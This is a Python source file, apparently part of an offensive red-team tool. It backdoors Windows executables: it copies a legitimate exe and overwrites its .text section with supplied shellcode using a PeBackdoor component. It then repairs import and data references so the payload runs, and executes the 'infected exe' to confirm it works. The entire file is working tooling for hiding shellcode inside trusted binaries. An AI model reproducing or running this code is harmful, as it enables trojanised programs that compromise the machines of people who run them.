from helper import * import shutil import pprint import logging import time import tempfile from pehelper import * from model import * from observer import observer from helper import rbrunmode_str from derbackdoorer.derbackdoorer import PeBackdoor from phases.datareuse import DataReuser logger = logging.getLogger("Injector") def inject_exe( shellcode_in: FilePath, exe_in: FilePath, exe_out: FilePath, inject_mode: int, ): logger.info("--[ Injecting: {} into: {} -> {} (mode: {})".format( shellcode_in, exe_in, exe_out, inject_mode )) logger.warn("---[ Inject mode: {}".format(rbrunmode_str(inject_mode))) # create copy of file exe_in to exe_out shutil.copyfile(exe_in, exe_out) # backdoor peinj = PeBackdoor() result = peinj.backdoor( 1, # always overwrite .text section inject_mode, shellcode_in, exe_in, exe_out ) if not result: logging.error("Error: Redbackdoorer failed") raise Exception("Redbackdoorer failed") # verify and log shellcode = file_readall_binary(shellcode_in) shellcode_len = len(shellcode) code = extract_code_from_exe(exe_out) in_code = code[peinj.shellcodeOffsetRel:peinj.shellcodeOffsetRel+shellcode_len] jmp_code = code[peinj.backdoorOffsetRel:peinj.backdoorOffsetRel+12] if config.debug: observer.add_code("exe_extracted_loader", in_code) observer.add_code("exe_extracted_jmp", jmp_code) if in_code != shellcode: raise Exception("Shellcode injection error") def injected_fix_iat(exe_out: FilePath, exe_info: ExeInfo): """replace IAT in shellcode in code and re-implant it""" # get code section of exe_out code = extract_code_from_exe(exe_out) for cap in exe_info.get_all_iat_resolvs().values(): if not cap.id in code: raise Exception("IatResolve ID {} not found, abort".format(cap.id)) off = code.index(cap.id) current_address = off + exe_info.image_base + exe_info.code_virtaddr #current_address += 2 destination_address = cap.addr logger.info(" Replace at 0x{:x} with call to 0x{:x}".format( current_address, destination_address )) jmp = assemble_and_disassemble_jump( current_address, destination_address ) code = code.replace(cap.id, jmp) # write back our patched code into the exe write_code_section(exe_file=exe_out, new_data=code) def injected_fix_data(exe_path, data_fixups, data_fixup_entries, exe_info): data_reuser = DataReuser(exe_path) data_reuser.init() #ret = data_reuser.get_reloc_largest_gap(".rdata") #size = ret[0] #start = ret[1] #stop = ret[2] #print("GAP: {} {} {}".format(size, start, stop)) #addr = start # Insert my data into the .rdata section sect = data_reuser.get_section_by_name(".rdata") addr = sect.raw_addr + 0x1AB0 #+ 0x1000 #addr += 0x100 #addr = 0 print("Write into .data:".format()) data_reuser.pe.close() with open(exe_path, "r+b") as f: for fixup in data_fixups: var_data = data_fixup_entries[fixup["string_ref"]] print(" Addr: {} / 0x{:X} Data: {}".format( addr, addr, len(var_data))) # Overwrite data in the .rdata section with ours #data_reuser.pe.set_bytes_at_offset(addr, var_data) f.seek(addr) f.write(var_data) #f.write(b"AAAAAAAAAAAAAAAAAAAAAAAAAAA") print("ADD: 0x{:X} 0x{:X} 0x{:X}".format(addr, sect.virt_addr, exe_info.image_base)) fixup["addr"] = addr + sect.virt_addr + exe_info.image_base - sect.raw_addr addr += len(var_data) + 8 #data_reuser.pe.write(exe_path + ".tmp") #data_reuser.pe.close() #shutil.move(exe_path + ".tmp", exe_path) # patch code section code = extract_code_from_exe(exe_path) for fixup in data_fixups: if not fixup["randbytes"] in code: raise Exception("DataResuse: ID {} not found, abort".format(fixup["randbytes"])) off = code.index(fixup["randbytes"]) current_address = off + exe_info.image_base + exe_info.code_virtaddr destination_address = fixup["addr"] logger.info(" Replace at 0x{:x} with call to 0x{:x}".format( current_address, destination_address )) lea = assemble_lea( current_address, destination_address, fixup["register"] ) code = code.replace(fixup["randbytes"], lea) # write back our patched code into the exe write_code_section(exe_file=exe_path, new_data=code) def verify_injected_exe(exefile: FilePath) -> int: logger.info("---[ Verify infected exe: {} ".format(exefile)) # remove indicator file pathlib.Path(VerifyFilename).unlink(missing_ok=True) run_process_checkret([ exefile, ], check=False) time.sleep(SHC_VERIFY_SLEEP) if os.path.isfile(VerifyFilename): logger.info("---> Verify OK. Infected exe works (file was created)") # better to remove it immediately os.remove(VerifyFilename) return 0 else: logger.error("---> Verify FAIL. Infected exe does not work (no file created)") return 1